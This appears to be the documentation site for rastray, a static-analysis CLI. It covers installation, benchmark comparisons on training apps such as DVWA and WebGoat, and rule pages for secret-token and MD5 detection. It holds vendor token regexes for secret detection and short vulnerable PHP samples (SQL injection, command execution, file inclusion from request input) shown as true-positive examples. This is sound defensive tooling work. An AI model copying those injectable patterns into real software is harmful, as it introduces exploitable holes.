rastray rules
This site documents every rule code that rastray can emit. Each page describes:
- what the bug class is,
- a true-positive example (the shape we flag),
- one or two false-positive examples (the shape we deliberately don't flag),
- the canonical remediation,
- references to OWASP / CWE / language-specific docs.
How rules are numbered
Every finding has a stable code of the form
RSTR-<FAMILY>-<NNN>. The family prefix tells you which
analyzer module fired the rule, and the numeric suffix is
stable across releases — once a rule code ships, it never
gets renumbered, even if the underlying detection logic is
refined.
What rastray is, and isn't
rastray is a fast, deterministic, free static-analysis CLI written in Rust. It scans a project tree in parallel and runs a registry of analyzers against it. It is not a taint-analysis engine — every rule on this site requires the user-controlled value to appear directly in the sink call. For multi-step dataflow analysis, reach for CodeQL or Semgrep Pro.
Installation
# Prebuilt installer (recommended)
curl -fsSL https://github.com/balangyaoejuspher/rastray/releases/latest/download/install.sh | sh
# Or from crates.io (requires Rust toolchain)
cargo install rastray --locked
License
Apache-2.0 OR MIT (same as the rastray repo).
Quickstart
A two-minute path from "never heard of rastray" to "scanner is wired into my repo's pre-commit hook and CI". Pick one install path, drop the snippet for whichever gate you care about, done.
1. Install
Pick one:
# macOS, Linux — official installer (recommended)
curl -fsSL https://raw.githubusercontent.com/balangyaoejuspher/rastray/main/install/install.sh | sh
# Windows
iwr https://raw.githubusercontent.com/balangyaoejuspher/rastray/main/install/install.ps1 -useb | iex
# Any platform with Rust installed
cargo install rastray --locked
Verify:
rastray --version
2. Smoke-test on the current repo
rastray .
Default exit code rules: rastray returns 0 if there are no
findings, 1 if there are. Use --fail-on high to gate only on
High / Critical, --fail-on low to gate on anything at all, or
--fail-on never to always exit 0 (advisory mode).
3. Wire it into pre-commit
rastray ships a top-level .pre-commit-hooks.yaml. Add to your
.pre-commit-config.yaml:
repos:
- repo: https://github.com/balangyaoejuspher/rastray
rev: v0.11.0
hooks:
- id: rastray
Then:
pip install pre-commit
pre-commit install
The rastray hook gates on --fail-on high. Swap for
id: rastray-strict if you want to gate on every finding.
The hooks use language: system, so rastray must already be on
your PATH (install via step 1 above). The pre-commit framework
deliberately does not cargo install rastray on every contributor's
machine — that would turn a one-second check into a multi-minute
Rust compile.
4. Wire it into CI
GitHub Actions:
name: rastray
on: [pull_request, push]
jobs:
rastray:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: curl -fsSL https://raw.githubusercontent.com/balangyaoejuspher/rastray/main/install/install.sh | sh
- run: rastray . --fail-on high
A copy-paste-ready workflow with caching, SARIF upload, and PR-comment
output lives at
examples/github-actions/rastray.yml.
5. Editor integration (LSP)
rastray ships its own Language Server. Configure your editor to
launch rastray lsp over stdio for inline findings on save, with no
project setup.
See the main README for the editor-specific snippets (VS Code, Neovim, Helix, Zed, Emacs).
What's next
- How to read a rastray finding
- Rule catalog — every built-in rule, its detection pattern, and the safe-form counter-example.
- Benchmarks — rastray vs Semgrep / Bandit / gosec / gitleaks / eslint-security on Juice Shop, NodeGoat, DVWA, RailsGoat, WebGoat, and django-DefectDojo.
How to read these pages
Every rule page on this site follows the same template:
Summary
A one-paragraph description of the bug class and why it matters. If you only have ten seconds, this is the part to read.
Severity
One of Critical / High / Medium / Low /
Info. Severities map to your shell's exit code via the
--fail-on flag.
Languages
Which file extensions the rule scans. A Python-only rule
will never look at a .go file.
What rastray flags
The exact pattern shape that triggers a finding. Includes:
- the regex (or AST-query) the analyzer uses, in plain English;
- a minimal true-positive example — the smallest piece of code that fires the rule.
What rastray deliberately does not flag
The shapes that look similar but are safe. Most rastray rules ship with at least one explicit "discriminator test" that proves the safe form is not flagged. We list those here so you can copy-paste the safe form straight into your code.
Why the finding message looks the way it does
Most rastray security rules use the captured-call-site message convention: the exact code fragment that matched is interpolated into the finding message. That way, if the rule fires 50 times in one repo, each finding has a distinguishable message instead of 50 copies of the same generic warning.
How to fix it
The canonical remediation — usually a copy-paste-able code snippet showing the hardened form.
How to suppress this finding
Three options, in order of preference:
- Fix the code. Almost always the right answer.
- Inline suppression: add
// rastray-ignore: RSTR-XXX-NNN(or# rastray-ignore: ...in Python, etc.) on the line above the finding. Userastray-ignore-line:to suppress only that line, orrastray-ignore-file:to suppress the whole file. - Project-level suppression in
.rastray.toml:
or downgrade severity:[rules] "RSTR-XXX-NNN" = false[rules] "RSTR-XXX-NNN" = { severity = "low" }
References
CWE entries, OWASP cheat sheets, language-specific docs, and any blog posts that describe the bug class with the clearest examples.
Benchmarks: methodology
This chapter compares rastray to five other free / open-source static analyzers across six known-vulnerable applications. The goal is not to declare a winner — each tool has a different scope — but to show honestly what rastray catches, what it misses, and how fast it runs against named codebases the reader can reproduce.
Reproducibility
Every number on these pages comes from
scripts/benchmarks/run.ps1
in this repository. Run it yourself:
# one-time: clone the targets
mkdir bench-workdir\targets
cd bench-workdir\targets
git clone --depth 1 https://github.com/juice-shop/juice-shop.git
git clone --depth 1 https://github.com/OWASP/NodeGoat.git nodegoat
git clone --depth 1 https://github.com/digininja/DVWA.git dvwa
git clone --depth 1 https://github.com/OWASP/railsgoat.git
git clone --depth 1 https://github.com/WebGoat/WebGoat.git webgoat
git clone --depth 1 https://github.com/DefectDojo/django-DefectDojo.git django-defectdojo
# tools (one-time): docker pull images, install bandit
docker pull returntocorp/semgrep:latest
docker pull securego/gosec:latest
docker pull zricethezav/gitleaks:latest
pip install bandit
# build rastray release binary
cargo build --release
# run the full sweep
powershell -File scripts/benchmarks/run.ps1
The harness writes per-tool JSON outputs to bench-workdir/results/<target>/
and a consolidated summary.json with finding counts and wall-clock
timings.
Targets
| target | language(s) | scope |
|---|---|---|
| OWASP Juice Shop | TypeScript / JavaScript | Modern Angular + Node app; ~80 deliberate bugs. |
| OWASP NodeGoat | JavaScript (Express) | Smaller; clean OWASP Top 10 mapping. |
| DVWA | PHP | The classic PHP training app. |
| OWASP RailsGoat | Ruby (Rails) | Rails-specific mass-assignment, SQLi, redirect. |
| WebGoat | Java (Spring) | Large Java codebase; broad rule surface. |
| django-DefectDojo | Python (Django) | Real-world application (not training-vuln) used to show how rastray behaves on a production codebase. |
Tools
| tool | language coverage | version pinned for this run |
|---|---|---|
| rastray | polyglot (security + perf) | 0.8.0 |
| Semgrep CE | polyglot (the p/owasp-top-ten registry) | 1.165.0 |
| bandit | Python | 1.9.4 |
| gosec | Go | dev / 2026-02-28 |
| gitleaks | secret patterns (filesystem) | v8.30.1 |
| eslint-plugin-security | JS / TS | eslint 10 + plugin-security 4 |
gosec is Go-only and therefore does not run against any of the
chosen targets, so its row is omitted from the tables. The harness
correctly flags it as N/A for non-Go targets.
What the numbers mean
-
findings — the raw count of issues reported by each tool, with its default ruleset (or
p/owasp-top-tenfor Semgrep). The counts are not directly comparable: tools use different severities, group identical issues differently, and have wildly different scopes (rastray flags 19 analyzer families, gitleaks is secrets-only, etc.). -
wall-clock (ms) — measured from process launch to completion on the same Windows 11 host running Docker Desktop. Docker-wrapped tools (semgrep, gosec, gitleaks) include the container startup tax (~1.5–3 s per run). Treat the comparison as order-of-magnitude, not millisecond-precise.
-
0 / blank — tool is applicable but found nothing, or tool is not applicable (e.g. bandit on a Ruby codebase).
For honest comparison, read the per-target page for each app — those discuss which rules each tool fires on, where rastray catches things others miss, and where rastray misses things others catch.
Benchmarks: summary
The full sweep, all six targets × all applicable tools. See Methodology for what the numbers do and don't mean.
Finding counts
| target | rastray | semgrep | gitleaks | bandit | eslint-security |
|---|---|---|---|---|---|
| Juice Shop | 80 | 23 | 50 | N/A | 1 823† |
| NodeGoat | 15 | 15 | 3 | N/A | 546 † |
| DVWA | 5 | 45 | 5 | N/A | N/A |
| RailsGoat | 11 | 22 | 1 | N/A | N/A |
| WebGoat | 17 | 21 | 23 | N/A | N/A |
| django-DefectDojo | 1 221 | 979 | 1 290 | 218 | N/A |
† eslint-plugin-security's default ruleset is dominated by
security/detect-object-injection (532 of the 546 NodeGoat findings;
~95% of the Juice Shop ones too). That rule is famously noisy and
most teams disable it. The headline number overstates how many
actionable issues the plugin produces.
Wall-clock (ms)
| target | rastray | semgrep | gitleaks | bandit | eslint-security |
|---|---|---|---|---|---|
| Juice Shop | 7 320 | 140 452 | 16 578 | N/A | 4 570 |
| NodeGoat | 326 | 11 275 | 1 405 | N/A | 3 948 |
| DVWA | 343 | 27 889 | 2 144 | N/A | N/A |
| RailsGoat | 1 970 | 27 757 | 2 627 | N/A | N/A |
| WebGoat | 1 350 | 218 546 | 7 940 | N/A | N/A |
| django-DefectDojo | 48 266 | 724 086 | 89 242 | 23 728 | N/A |
Docker-wrapped tools (semgrep, gitleaks) include the container startup tax (~1.5–3 s per run). rastray and bandit run as native binaries.
Reading the comparison
A few honest observations from this data:
-
rastray is 10–35× faster than Semgrep at the OWASP-Top-Ten ruleset, on every target. The gap widens with codebase size (django-DefectDojo: 48 s vs 12 min).
-
rastray and Semgrep find different things. On DVWA, Semgrep reports 9× more (45 vs 5) because the
p/owasp-top-tenregistry contains PHP-specific data-flow templates rastray does not implement. On Juice Shop, rastray reports 3× more (80 vs 23) — its per-language regex sinks catch a lot offetch(req.body.x)/eval(req.body)cases the Semgrep registry does not include. -
gitleaks usually finds more secrets than rastray in real codebases, because it ships a 100+ pattern catalogue. rastray currently ships 8 secret patterns (
RSTR-SEC-001..008). For pure secret-scanning, run gitleaks. rastray's secrets module is intentionally focused on the highest-value patterns and exists so that one tool can give you a complete first-line audit without juggling four. -
eslint-plugin-security inflates with
detect-object-injection. Most security teams disable that rule. Excluding it leaves ~14 plugin-security findings on NodeGoat — comparable to rastray's 15 and Semgrep's 15. -
django-DefectDojo is real-world code, not a training-vuln app. The high rastray count (1 221) is dominated by
RSTR-PERF-201(634 findings —string += in a loop) andRSTR-SEC-007(475 findings — PEM private-key blocks, mostly genuine test fixtures that the project carries on purpose). This is what a fresh adoption looks like; the baseline workflow snapshots these once and surfaces only new findings on PRs.
Try the harness yourself
Every column in the tables above is produced by
scripts/benchmarks/run.ps1.
Numbers will vary by machine and tool version — re-run on your own
hardware and submit a PR if you'd like to track them over time.
OWASP Juice Shop
github.com/juice-shop/juice-shop — modern Angular + Node training app with ~80 deliberate bugs.
Results
| tool | findings | wall-clock |
|---|---|---|
| rastray | 80 | 7.3 s |
| semgrep | 23 | 140.5 s |
| gitleaks | 50 | 16.6 s |
| eslint-security | 1 823 | 4.6 s |
| bandit | N/A | — |
| gosec | N/A | — |
What rastray fires on
The top families on Juice Shop:
| code | count | what it catches |
|---|---|---|
RSTR-PERF-101 | 30 | await inside a loop (serialised async calls) |
RSTR-INJ-001 | 12 | SQL injection via template literal |
RSTR-ORM-004 | 12 | Raw SQL template literal in ORM call |
RSTR-CRY-005 | 11 | Math.random() for security purposes |
RSTR-INJ-003 | 4 | eval / new Function dynamic execution |
RSTR-REDOS-001 | 3 | Catastrophic backtracking heuristic |
RSTR-IAC-001 | 2 | FROM image:latest |
RSTR-CRY-001 | 2 | MD5 used for hashing |
Where rastray catches more than Semgrep
- The 30
RSTR-PERF-101findings are pure throughput bugs thep/owasp-top-tenSemgrep registry does not aim for (Semgrep has perf packs, but they aren't in the OWASP set). RSTR-CRY-005(Math.random()for tokens) fires 11 times; Semgrep's OWASP pack does not include this generic check.RSTR-ORM-004(raw SQL template literals) fires 12 times for Sequelize / Knex / Prisma.raw(\SELECT ... ${x}`)` patterns.
Where Semgrep catches things rastray misses
Semgrep's deeper rules occasionally span call boundaries — for
example, identifying a sink that takes a req-derived value
after it has been assigned through a const (rastray
deliberately does not flow analyze; see
Introduction).
On the eslint-security count (1 823)
security/detect-object-injection produces ~95% of that total.
Most security teams disable it because it flags every
obj[variable] access regardless of whether variable is
user-controlled. Excluding it brings eslint-security's
actionable count to ~80 — comparable to what rastray reports.
Reproduce
powershell -File scripts/benchmarks/run.ps1 -Target juice-shop
OWASP NodeGoat
github.com/OWASP/NodeGoat — small Express training app with a clean mapping to OWASP Top 10.
Results
| tool | findings | wall-clock |
|---|---|---|
| rastray | 15 | 0.33 s |
| semgrep | 15 | 11.3 s |
| gitleaks | 3 | 1.4 s |
| eslint-security | 546 | 3.9 s |
| bandit | N/A | — |
| gosec | N/A | — |
What rastray fires on
| code | count | what it catches |
|---|---|---|
RSTR-CRY-005 | 7 | Math.random() for security |
RSTR-INJ-003 | 4 | eval / new Function |
RSTR-NOSQLI-002 | 2 | Mongo $where with request input |
RSTR-REDOS-001 | 1 | Catastrophic backtracking |
RSTR-RDR-001 | 1 | Express res.redirect(req.x) |
Headline observation
rastray and Semgrep report the same number of findings (15) on
NodeGoat, but rastray runs 34× faster (0.33 s vs 11.3 s, both
on the same hardware). The rule mix differs slightly — rastray
catches more Math.random() / eval cases, Semgrep catches a few
more interprocedural cases that need a small amount of flow.
On the eslint-security count (546)
532 of the 546 are security/detect-object-injection. The other
14 are genuine — they cover roughly the same surface as rastray's
15 and Semgrep's 15. Most teams disable
detect-object-injection for exactly this reason; once that's
done, the three tools are comparable on this benchmark.
Reproduce
powershell -File scripts/benchmarks/run.ps1 -Target nodegoat
DVWA
github.com/digininja/DVWA — the classic PHP / "Damn Vulnerable Web App."
Results
| tool | findings | wall-clock |
|---|---|---|
| rastray | 5 | 0.34 s |
| semgrep | 45 | 27.9 s |
| gitleaks | 5 | 2.1 s |
| bandit | N/A | — |
| gosec | N/A | — |
| eslint-security | N/A | — |
What rastray fires on
| code | count | what it catches |
|---|---|---|
RSTR-INJ-003 | 5 | PHP eval |
Honest observation: DVWA is essentially-indirect
rastray ships PHP-aware rules for SQL injection, command exec, echo / print of request input, include / require LFI, and file API LFI:
RSTR-INJ-006— SQLi via superglobal in the queryRSTR-INJ-007— command exec on superglobalRSTR-XSS-006— echo / print of superglobalRSTR-PTH-005— include / require from superglobalRSTR-PTH-006— file API on superglobal
None of them fire on DVWA. DVWA's pedagogical style assigns the superglobal to a local first, then uses the local — a single indirection that rastray deliberately does not chase (the same one-step taint scope every other rastray rule uses). For example, DVWA's SQLi-low source reads:
$id = $_REQUEST['id'];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query);
rastray flags neither line in isolation — there's no superglobal in
the mysqli_query call, no concatenation in the assignment. The
two-line idiom is below the rule's threshold by design.
The same five PHP rules fire correctly on the direct pattern common in real PHP code:
$rows = mysqli_query($db, "SELECT * FROM u WHERE id = " . $_GET['id']);
exec("ping " . $_POST['host']);
echo $_GET['name'];
include $_REQUEST['page'] . ".php";
$x = file_get_contents($_GET['url']);
Semgrep's p/owasp-top-ten registry includes PHP rules that span
the assign-then-use boundary, which is why it reports 45 on DVWA.
For codebases that match DVWA's idiom rather than rastray's
direct-sink scope, Semgrep is the better fit; for codebases where
the superglobal appears in the sink, rastray is faster.
Reproduce
powershell -File scripts/benchmarks/run.ps1 -Target dvwa
OWASP RailsGoat
github.com/OWASP/railsgoat — Rails training app focused on mass-assignment, SQLi, and open-redirect.
Results
| tool | findings | wall-clock |
|---|---|---|
| rastray | 11 | 2.0 s |
| semgrep | 22 | 27.8 s |
| gitleaks | 1 | 2.6 s |
| bandit | N/A | — |
| gosec | N/A | — |
| eslint-security | N/A | — |
What rastray fires on
| code | count | what it catches |
|---|---|---|
RSTR-INJ-009 | 3 | params[...].constantize / .classify — mobile_controller, benefit_forms |
RSTR-INJ-003 | 2 | eval |
RSTR-CRY-005 | 2 | Math.random (vendored JS) |
RSTR-INJ-008 | 1 | User.where("id = '#{params[:user][:id]}'") — users_controller |
RSTR-ORM-005 | 1 | params.require(:user).permit! — users_controller |
RSTR-REDOS-001 | 1 | Catastrophic backtracking |
RSTR-DES-005 | 1 | Ruby Marshal.load |
What changed in v0.11.0
Rastray's Rails coverage grew from 6 findings to 11 on RailsGoat between v0.10.0 and v0.11.0 — almost doubling the catch rate on this target. The new rules added in this release:
RSTR-INJ-008— Rails.wherewith string interpolation ofparams. Fires onusers_controller.rb:29:User.where("id = '#{params[:user][:id]}'").RSTR-INJ-009—params[...].constantize/.classify/.safe_constantize. Fires on the mobile-API pattern of "deserialise whatever class the client names."RSTR-INJ-010—render inline:/text:with#{params[...]}interpolation (SSTI).RSTR-ORM-005—params.require(:x).permit!open-permit. Fires onusers_controller.rb:50.RSTR-RDR-004—redirect_to params[...]open-redirect. Does not fire on RailsGoat because the sample uses the indirect formpath = params[:url]; redirect_to path— same one-step taint scope the rest of rastray uses.
The remaining gap vs Semgrep is mostly the same "indirect flow"
pattern as on DVWA: RailsGoat consistently assigns params[...] to
a local first, then uses the local. Semgrep's rule pack tracks that
single assignment; rastray deliberately does not. For codebases that
match rastray's direct-sink scope, the new rules close most of the
real-world gap.
Reproduce
powershell -File scripts/benchmarks/run.ps1 -Target railsgoat
WebGoat
github.com/WebGoat/WebGoat — large Spring-based Java training app.
Results
| tool | findings | wall-clock |
|---|---|---|
| rastray | 17 | 1.4 s |
| semgrep | 21 | 218.5 s |
| gitleaks | 23 | 7.9 s |
| bandit | N/A | — |
| gosec | N/A | — |
| eslint-security | N/A | — |
What rastray fires on
| code | count | what it catches |
|---|---|---|
RSTR-PERF-102 | 8 | new Date() inside a loop (in WebGoat's bundled JS) |
RSTR-DES-006 | 4 | Java ObjectInputStream.readObject |
RSTR-SEC-007 | 2 | PEM private-key block |
RSTR-INJ-003 | 1 | eval (JSP / inline scriptlets) |
RSTR-XXE-005 | 1 | XML factory without entity hardening |
RSTR-CRY-001 | 1 | MD5 used for hashing |
Headline observation
rastray and Semgrep land in the same ballpark (17 vs 21), but rastray finishes in 1.4 s while Semgrep takes 3 m 38 s — a 156× speedup. WebGoat is the largest repository tested and the gap is biggest here; rastray's regex + targeted Tree-sitter strategy scales with file count, while Semgrep's dataflow engine pays a per-file cost that adds up on a 20 MB tree.
The four RSTR-DES-006 findings are exactly the
ObjectInputStream RCE class WebGoat
teaches in its Deserialization chapter — they map cleanly to the
lesson, not false positives.
Reproduce
powershell -File scripts/benchmarks/run.ps1 -Target webgoat
django-DefectDojo
github.com/DefectDojo/django-DefectDojo — a real Python / Django application (DefectDojo itself), not a training-vuln app. Picked specifically to show how rastray behaves on production code.
Results
| tool | findings | wall-clock |
|---|---|---|
| rastray | 1 221 | 48.3 s |
| semgrep | 979 | 12 m 04 s |
| gitleaks | 1 290 | 89.2 s |
| bandit | 218 | 23.7 s |
| gosec | N/A | — |
| eslint-security | N/A | — |
What rastray fires on
| code | count | what it catches |
|---|---|---|
RSTR-PERF-201 | 634 | string += inside a loop (Python) |
RSTR-SEC-007 | 475 | PEM private-key blocks (overwhelmingly test fixtures) |
RSTR-SEC-006 | 31 | Google API key pattern (almost entirely test/docs) |
RSTR-CRY-001 | 29 | MD5 used for hashing |
RSTR-SEC-001 | 26 | Hardcoded credential pattern (mostly test fixtures) |
RSTR-INJ-001 | 11 | SQL injection via f-string |
RSTR-IAC-002 | 4 | Docker USER root |
RSTR-CSRF-002 | 3 | Django @csrf_exempt |
What 1 221 findings on a real codebase means
Most of the count is noise typical for a fresh adoption:
- 634
RSTR-PERF-201are mostly in legacy report-generation code where the impact is too small to warrant a refactor. Suppress per-file or downgrade the rule's severity in.rastray.toml. - 475
RSTR-SEC-007are PEM blocks intests/fixtures/— DefectDojo carries real test keys on purpose. Suppress per-folder. - 31
RSTR-SEC-006are documentation examples (AIzaSyAAAA...) used in user-facing snippets. Suppress per-line.
The genuinely actionable rows are the smaller counts:
RSTR-INJ-001 (11 SQL-injection candidates),
RSTR-CRY-001 (29 MD5 sites worth checking),
RSTR-CSRF-002 (3 @csrf_exempt decorators), and
RSTR-IAC-002 (Docker running as root).
This is exactly what baseline mode is for:
rastray --write-baseline rastray.baseline.json --fail-on never
# commit the baseline, then on every PR:
rastray --baseline rastray.baseline.json --fail-on high
After that, the 1 221 known findings stop showing up; only the new ones a PR introduces fail CI.
Headline observation
rastray is 15× faster than Semgrep on this benchmark (48 s vs 12 min) while reporting comparable totals (1 221 vs 979). bandit runs in 24 s but is Python-only and finds 218 issues — a useful complement, not a replacement.
gitleaks reports 1 290 secret matches, vs rastray's 514
secret-family matches (SEC-001..008). rastray's secret coverage
is intentionally narrow; for repos where secret scanning is the
primary concern, run gitleaks alongside.
Reproduce
powershell -File scripts/benchmarks/run.ps1 -Target django-defectdojo
RSTR-SEC-001 — hard-coded credential pattern
Summary
A string literal in source code matches a known credential shape (AWS access key, GitHub PAT, Slack token, etc.) and also passes an entropy check (≥ 3.0 bits/char Shannon entropy by default), so it's unlikely to be placeholder text. Hard-coded credentials in source are one of the most common high-impact bugs — once the repo leaks the secret leaks.
Severity
Varies per token shape (typically High to Critical).
AWS access keys and GitHub PATs default to Critical.
Languages
All text-classified files (any source code, any config file).
What rastray flags
A string literal matching a per-vendor regex pattern (e.g.
AKIA[0-9A-Z]{16} for AWS, ghp_[A-Za-z0-9]{36} for
GitHub fine-grained PATs) that also passes the entropy
filter.
What rastray deliberately does not flag
- Placeholder strings (
AKIAIOSFODNN7EXAMPLE,ghp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx) — entropy too low. - Comments / docs / test fixtures that explicitly contain example tokens — same reason.
How to fix it
Rotate the leaked credential immediately at the issuing provider. Then move the credential to:
- An environment variable (
process.env.AWS_ACCESS_KEY_ID) - A secret manager (AWS Secrets Manager, Vault, GCP Secret Manager, Kubernetes secrets)
- A
.envfile that is.gitignored
The leaked value is now part of git history. Use
git-filter-repo
or BFG Repo-Cleaner
to scrub history if you must. Even then, assume the
secret is compromised and rotate.
References
- CWE-798: Use of Hard-coded Credentials
- OWASP: Hard-coded credentials
- GitGuardian: State of secrets sprawl
RSTR-SEC-002 — GitHub personal access token (ghp_…)
Summary
A string matching GitHub's classic personal access token format
(ghp_ + 36 base62 chars) appears in the repository. Anyone with the
token can act as the user on the GitHub API, including pushing to
private repos, creating releases, and reading workflow secrets.
Severity
High.
Languages
Any scannable text file — source, config, manifests.
What rastray flags
GH_TOKEN = "ghp_EXAMPLEEXAMPLEEXAMPLEEXAMPLEEXAMPLE1234" # ← flagged
The matcher requires the literal ghp_ prefix plus a high-entropy
suffix to avoid flagging documentation snippets that obviously use
filler text (ghp_XXXX...).
What rastray deliberately does not flag
- Tokens read from environment variables:
os.environ['GH_TOKEN']. - Documentation that shows the format with placeholder text
(
ghp_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX) — low entropy.
How to fix it
-
Revoke immediately at https://github.com/settings/tokens. The token is now public regardless of whether you push the fix; assume hostile use.
-
Generate a fresh token with the smallest scope that does the job.
-
Move the secret to an environment variable or a secret manager, and load it at runtime:
import os GH_TOKEN = os.environ['GH_TOKEN'] -
Rewrite history if the token ever appeared in a commit:
git filter-repo --replace-text expressions.txt git push --force-with-leaseForce-pushing the rewrite alone does not erase the secret — GitHub caches commit blobs for 90 days; the revocation in step 1 is what actually contains the damage.
References
RSTR-SEC-003 — GitHub fine-grained PAT (github_pat_…)
Summary
A GitHub fine-grained personal access token (github_pat_ + base62
material) appears in the repository. Fine-grained tokens are
scope-restricted but still grant API access to whatever repositories
and permissions the token was minted with — usually enough to read
private code or push to selected repos.
Severity
High.
Languages
Any scannable text file.
What rastray flags
GH_PAT: github_pat_EXAMPLEAAAAAAAAAAA_EXAMPLEAAAAAAAAAAAAAAAAAAAAAA
What rastray deliberately does not flag
- Documentation placeholders with low entropy.
How to fix it
Same playbook as classic PATs (RSTR-SEC-002):
- Revoke at https://github.com/settings/tokens.
- Mint a replacement with the narrowest permissions and shortest expiry the use case allows.
- Move to environment / secret manager.
- Rewrite the offending history.
The fine-grained format is the recommended replacement for classic PATs — keep using fine-grained ones, just keep them out of source.
References
RSTR-SEC-004 — Slack bot token (xoxb-…)
Summary
A Slack bot token (xoxb- + numeric IDs + secret material) is
embedded in the repository. The token authenticates as the bot
identity and can post to channels, read DMs the bot is in, and call
any Slack Web API endpoint that the bot's OAuth scopes permit.
Severity
High.
Languages
Any scannable text file.
What rastray flags
SLACK_BOT_TOKEN = "xoxb-EXAMPLE-EXAMPLE-EXAMPLEEXAMPLEEXAMPLEEXAMPLE"
What rastray deliberately does not flag
- Slack user tokens (
xoxp-…) — separate rule eventually; current set covers bot tokens because those are the common-in-source case. - Documentation placeholders.
How to fix it
-
Revoke at https://api.slack.com/apps → your app → OAuth & Permissions → "Revoke token".
-
Generate a new install / token.
-
Store in environment or secret manager:
import os slack = WebClient(token=os.environ['SLACK_BOT_TOKEN']) -
Rewrite git history if the token was ever committed; Slack's bot-token leak detection often catches this within minutes and auto-revokes, but don't rely on that.
References
RSTR-SEC-005 — Stripe live secret key (sk_live_…)
Summary
A Stripe live mode secret key (sk_live_ + 24 base62 chars) is
embedded in the repository. Anyone with this key can charge cards,
issue refunds, read customer payment data, and perform every
write-level action against the Stripe account.
Severity
Critical.
Languages
Any scannable text file.
What rastray flags
STRIPE_KEY = "sk_live_<REDACTED-24-CHAR-SECRET>" # ← flagged
The matcher requires the sk_live_ prefix specifically — test-mode
keys (sk_test_…) are not flagged because they cannot move real
money.
What rastray deliberately does not flag
sk_test_…test-mode keys (different rule could fire on those if you ever add one — current set is live-only).pk_live_…publishable keys (intended to be shipped to the browser).
How to fix it
- Roll the key immediately in the Stripe Dashboard (Developers → API keys → Roll). The old key stops working in 12 hours by default; for a confirmed leak, set the rollover to "Immediately."
- Audit the Events log for the past 24-72 hours and look for
unfamiliar API requests (
request.api_method, request IP). - Move the new key out of source into environment / Vault / AWS Secrets Manager.
- Rewrite the git history that contains the leaked key.
- If the key has been in source for any length of time and the repo was ever public, treat the account as fully compromised and contact Stripe support.
References
RSTR-SEC-006 — Google API key (AIza…)
Summary
A Google Cloud API key (AIza + 35 base62 chars) appears in the
repository. Depending on the key's restrictions, an attacker can call
any API the key was authorised for — Maps, Translate, Cloud Vision,
PaLM, etc. Most engineers set no restrictions, so the key is usable
from anywhere.
Severity
High. Even rate-limited keys can drain a daily quota; unrestricted
keys to billable APIs can incur thousands of dollars in usage in
hours.
Languages
Any scannable text file.
What rastray flags
const MAPS_KEY = "AIzaEXAMPLEEXAMPLEEXAMPLEEXAMPLEEXAMPLEAA"; // ← flagged
What rastray deliberately does not flag
- Documentation placeholders with low entropy.
How to fix it
- Restrict and rotate: in the Google Cloud Console, set application restrictions (HTTP referrers for browser keys, IP range for server keys) and rotate the key.
- Move the new key to environment / secret manager.
- Rewrite git history.
- Check Cloud Billing for the usage spike that suggests abuse.
For browser-side use cases (e.g. Maps embeds) the key is intended to be public — set HTTP-referrer restrictions and the leak is mostly inert. The rule still fires because the safe pattern is to inject the key at build time from an environment variable so referrer restrictions can be revisited in one place.
References
RSTR-SEC-007 — PEM private key in source
Summary
A -----BEGIN … PRIVATE KEY----- block (RSA, EC, Ed25519, or generic
PKCS#8) appears in the repository. Private keys never belong in
source: anyone who clones the repo can sign JWTs, decrypt traffic,
authenticate as the bearer, etc.
Severity
Critical.
Languages
Any scannable text file.
What rastray flags
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA1J... ← flagged
-----END RSA PRIVATE KEY-----
-----BEGIN PRIVATE KEY----- ← flagged (PKCS#8)
-----BEGIN EC PRIVATE KEY----- ← flagged
-----BEGIN OPENSSH PRIVATE KEY----- ← flagged
What rastray deliberately does not flag
- Public-key blocks (
PUBLIC KEY,CERTIFICATE). - Test fixtures that are obviously short / non-keymaterial. Suppress
with a comment if they're inside a
tests/directory and the fixture is intentionally throwaway.
How to fix it
- Assume the key is compromised. Issue a new key pair, update every system that trusts the old public key, and revoke the old one (CRL / OCSP / GitHub SSH key page / Vault rotation).
- Move the new private key into a secret manager (Vault, AWS Secrets Manager, GCP Secret Manager) — not an environment variable, because envs survive in process listings and crash dumps.
- Rewrite git history with
git filter-repo --invert-paths --path-glob '*.pem'. - Force-push and document the incident.
A leaked key in a public repo is functionally an active credential theft until the rotation completes — treat the timeline as P0.
References
RSTR-SEC-008 — npm access token (npm_…)
Summary
An npm access token (npm_ + 36 base62 chars) appears in the
repository. Whoever has the token can publish new versions of any
package the token owner publishes — a textbook supply-chain compromise
vector.
Severity
High.
Languages
Any scannable text file (commonly .npmrc, CI config, shell scripts).
What rastray flags
//registry.npmjs.org/:_authToken=npm_EXAMPLEEXAMPLEEXAMPLEEXAMPLEEXAMPLE12
What rastray deliberately does not flag
- Documentation placeholders.
- Tokens in environment-variable form:
NPM_TOKEN=${NPM_TOKEN}.
How to fix it
-
Revoke at https://www.npmjs.com/settings/<user>/tokens.
-
Create a new token. For CI, use a granular access token scoped to the specific package(s) you publish.
-
Move to CI secret store (GitHub Actions
secrets.NPM_TOKEN) and reference from.npmrc://registry.npmjs.org/:_authToken=${NPM_TOKEN} -
Rewrite git history if the token ever landed in a commit.
-
Audit the npm package's published versions; if anything looks out-of-band, unpublish and warn downstream consumers.
References
RSTR-CRY-001 — MD5 used for hashing
Summary
MD5 is cryptographically broken: practical collision attacks have been published since 2004, and chosen-prefix collisions since 2007. Any use of MD5 for a security purpose (digital signatures, password hashing, token generation, integrity verification of untrusted data) is a real vulnerability.
Severity
High.
Languages
Python, JavaScript, TypeScript, Java, Kotlin, Go, Rust.
What rastray flags
The MD5 constructor in any supported language:
- Python:
hashlib.md5(...) - Node:
crypto.createHash('md5')/crypto.createHash("md5") - Java:
MessageDigest.getInstance("MD5") - Go:
md5.New()(after importingcrypto/md5)
What rastray deliberately does not flag
Non-security MD5 use cases:
- Cache-busting hashes (file fingerprints in build output)
- Bloom-filter / consistent-hashing data structures
- Legacy protocols where the spec mandates MD5 (e.g. some RADIUS attribute hashing)
The rule fires anyway in these cases — suppress per-line
with // rastray-ignore: RSTR-CRY-001 and a comment
explaining the non-security context.
How to fix it
Replace MD5 with SHA-256 (or SHA-3-256). The constructor names are uniform:
| Language | MD5 (bad) | SHA-256 (good) |
|---|---|---|
| Python | hashlib.md5(data) | hashlib.sha256(data) |
